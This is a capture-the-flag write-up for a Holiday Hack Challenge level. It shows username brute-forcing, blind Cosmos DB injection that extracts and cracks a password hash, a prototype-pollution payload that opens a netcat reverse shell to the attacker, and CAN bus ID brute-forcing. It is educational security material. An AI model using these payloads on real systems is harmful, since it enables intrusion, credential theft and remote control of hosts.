Smart Gnome
Difficulty:
Shown in Report
Davis in the Data Center is fighting a gnome army—join the hack-a-gnome fun.
Objective Image
Back
Challenge

Hey - I’m Chris. I’m into miniature wargaming, open source projects, amateur robotics, hiking, kayaking, and story-rich single-player games.
I need help with this gnome takeover. Their systems now have multiple protection layers - database auth, web app flaws, and more. But every system has a weak point if you know where to look.
If the gnomes freeze the neighborhood, there’ll be no hiking, kayaking, or painting minis - just an icy wasteland.
Task: Find a vulnerability and turn one of their bots against them.

Solution

Gain access to the application

Upon initial analysis of the application, we discover two main functions: users can log in, and new users can register. However, registration is disabled, and we do not have the access data required to log in. In the source code of the registration page, however, we find a call to an API that checks whether a user exists:

https://hhc25-smartgnomehack-prod.holidayhackchallenge.com/?id=xy
https://hhc25-smartgnomehack-prod.holidayhackchallenge.com/userAvailable?username=hansolo&id=xy

We use a brute force method and a known list of names to find users who exist:

patator http_fuzz \
  method=GET \
  url='https://hhc25-smartgnomehack-prod.holidayhackchallenge.com/userAvailable?username=FILE0&id=xy' \
  header='Cookie: connect.sid=s%3Axy' \
  0=/usr/share/seclists/Usernames/Names/names.txt \
  -x ignore:fgrep='{"available":true}'

21:13:46 patator    INFO - code size:clen       time | candidate                          |   num | mesg
21:13:46 patator    INFO - -----------------------------------------------------------------------------
21:16:29 patator    INFO - 200  277:19         1.150 | bruce                              |  1381 | HTTP/2 200 
21:21:35 patator    INFO - 200  277:19         1.152 | harold                             |  4003 | HTTP/2 200 

At the same time, we also send a double quotation mark, which allows us to detect a possible injection, as the API responds with a DB error message:

GET /userAvailable?username=bruce%22&id=xy HTTP/2

HTTP/2 500 Internal Server Error
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 322
...

{error:An error occurred while checking username: Message: {"errors":[{"severity":"Error","location":"start":49,"code":"SC1012","message":"Syntax {"errors":[{"severity":"Error","location":"end":50,"code":"SC1012","message":"Syntax error, invalid string literal token \\\"."}]}
ActivityId: 683c8d1a-b230-43f4-aee5-b8cc47af8d37, Microsoft.Azure.Documents.Common/2.14.0}

The backend DB is Azure Cosmos DB (SQL API)
Microsoft.Azure.Documents.Common is the Cosmos DB .NET SDK.
SC1012 / “invalid string literal token '"'” is a Cosmos SQL parser error.

This is an Azure Cosmos DB. It behaves like a NoSQL database, which means that we unfortunately cannot use the familiar payloads for SQL injection in a relational database. However, after a little trial and error, we find a payload that we can use to reliably generate a positive and negative response:

bruce" and  true  or "bruce"="
{"available":false}

bruce" and  false  or "bruce"="
{"available":true}

Azure Cosmos DB does not have tables that we can enumerate, but rather documents. However, in order to read these, we need to find out the identifiers. To do this, we use the following payload, which we then read out using brute force:

bruce" and  IS_DEFINED(c.id)   or "bruce"="
{"available":false}

bruce" and  IS_DEFINED(c.foo)   or "bruce"="
{"available":true}
ffuf -u "https://hhc25-smartgnomehack-prod.holidayhackchallenge.com/userAvailable?username=bruce%22%20and%20IS_DEFINED(c.FUZZ)%20or%20%22bruce%22%3D%22&id=xy" \
     -w burp-parameter-names.txt \
     -mr '{"available":false}'

Category                [Status: 200, Size: 19, Words: 1, Lines: 1, Duration: 4679ms]
ID                      [Status: 200, Size: 19, Words: 1, Lines: 1, Duration: 4679ms]
USERNAME                [Status: 200, Size: 19, Words: 1, Lines: 1, Duration: 4568ms]
digest                  [Status: 200, Size: 19, Words: 1, Lines: 1, Duration: 4548ms]

Next, we read the contents of the documents, reading character by character to determine the content:


for i in {0..30}; do ffuf -u "https://hhc25-smartgnomehack-prod.holidayhackchallenge.com/userAvailable?username=bruce%22%20and%20SUBSTRING(c.id,$i,1)%3D%22FUZZ%22%20or%20%22bruce%22%3D%22&id=xy"   -w chars.txt  -mr '{"available":false}' 2>/dev/null | cut -c 6 | tr -s "\n"; done
2

for i in {0..30}; do ffuf -u "https://hhc25-smartgnomehack-prod.holidayhackchallenge.com/userAvailable?username=bruce%22%20and%20SUBSTRING(c.category,$i,1)%3D%22FUZZ%22%20or%20%22bruce%22%3D%22&id=xy"   -w chars.txt  -mr '{"available":false}' 2>/dev/null | cut -c 6 | tr -d "\n"; done
users

for i in {0..30}; do ffuf -u "https://hhc25-smartgnomehack-prod.holidayhackchallenge.com/userAvailable?username=bruce%22%20and%20SUBSTRING(c.username,$i,1)%3D%22FUZZ%22%20or%20%22bruce%22%3D%22&id=xy"   -w chars.txt  -mr '{"available":false}' 2>/dev/null | cut -c 6 | tr -d "\n"; done
bruce

for i in {0..70}; do ffuf -u "https://hhc25-smartgnomehack-prod.holidayhackchallenge.com/userAvailable?username=bruce%22%20and%20SUBSTRING(c.digest,$i,1)%3D%22FUZZ%22%20or%20%22bruce%22%3D%22&id=xy"   -w chars.txt  -mr '{"available":false}' 2>/dev/null | cut -c 6 | tr -d "\n"; done
d0a9ba00f80cbc56584ef245ffc56b9e

The digest is an MD5 hash that we can easily crack using crackstation to obtain the password for bruce: d0a9ba00f80cbc56584ef245ffc56b9e md5 oatmeal12. Now we can finally log in to the application and access the interface.

Gain access to the system

We are currently unable to control the bot because our commands are not understood, as the incorrect CAN IDs are being sent.

The interface allows us to change the name of the bot. This change is then directly applied in gnome_config_object.

Hack a Gnome Solution 2.jpg

After a little tinkering, we discover that the request used for the change is vulnerable to prototype pollution. On an external site (https://www.kayssel.com/newsletter/issue-24/), we also find a good description and a payload that gives us shell access.

{"action":"update","key":"settings","subkey":"name","value":"MyBot"}
-> {"settings":{"name":"MyBot","model_version":"2.3.8","firmware_version":"GNM-4.12.0"}}

{"action": "update","key": "__proto__","subkey": "toString","value": "boom"}
-> Application crashes

{"action": "update","key": "__proto__","subkey": "outputFunctionName","value": "x;process.mainModule.require('child_process').execSync('nc MY_IP 6666 -e /bin/bash');var __output"}

Fix CANBUS script

In the shell, we take a look at the interesting Python script and immediately see why we cannot control the bot:

canbus_client.py

# Define CAN IDs (I think these are wrong with newest update, we need to check the actual device documentation)
COMMAND_MAP = {
    "up": 0x656,
    "down": 0x657,
    "left": 0x658,
    "right": 0x659,
    # Add other command IDs if needed
}

We use the programs available to us and a little brute force to find the correct CAN IDs. In the first step, we run them through quickly to narrow them down, and in the second step, we run them a little slower to be able to accurately identify the response in the interface.

for id in $(seq 0 4095); do
    hex=$(printf "%03X" $id)
    echo "Sending ID 0x$hex"
    cansend gcan0 ${hex}#
    sleep 0.01
done

for id in $(seq 0x201 0x204); do
    hex=$(printf "%03X" $id)
    echo "Sending ID 0x$hex"
    cansend gcan0 ${hex}#
    sleep 1
done

After assigning the IDs to the correct movements, all we have to do is fix the Python script:

sed -i '
  s/"up": 0x656,/"up": 0x201,/;
  s/"down": 0x657,/"down": 0x202,/;
  s/"left": 0x658,/"left": 0x203,/;
  s/"right": 0x659,/"right": 0x204,/
' canbus*

Navigate through the maze

Finally, we just need to get through the maze of boxes to reach the switch. We can do this with the following movements:

down-left-down-down-right-down
down-left-down-down-down-left-left-left
up-left-up-left-left-up-up-right-right
up-up-left-up-up-left 

Hack a Gnome Solution.jpg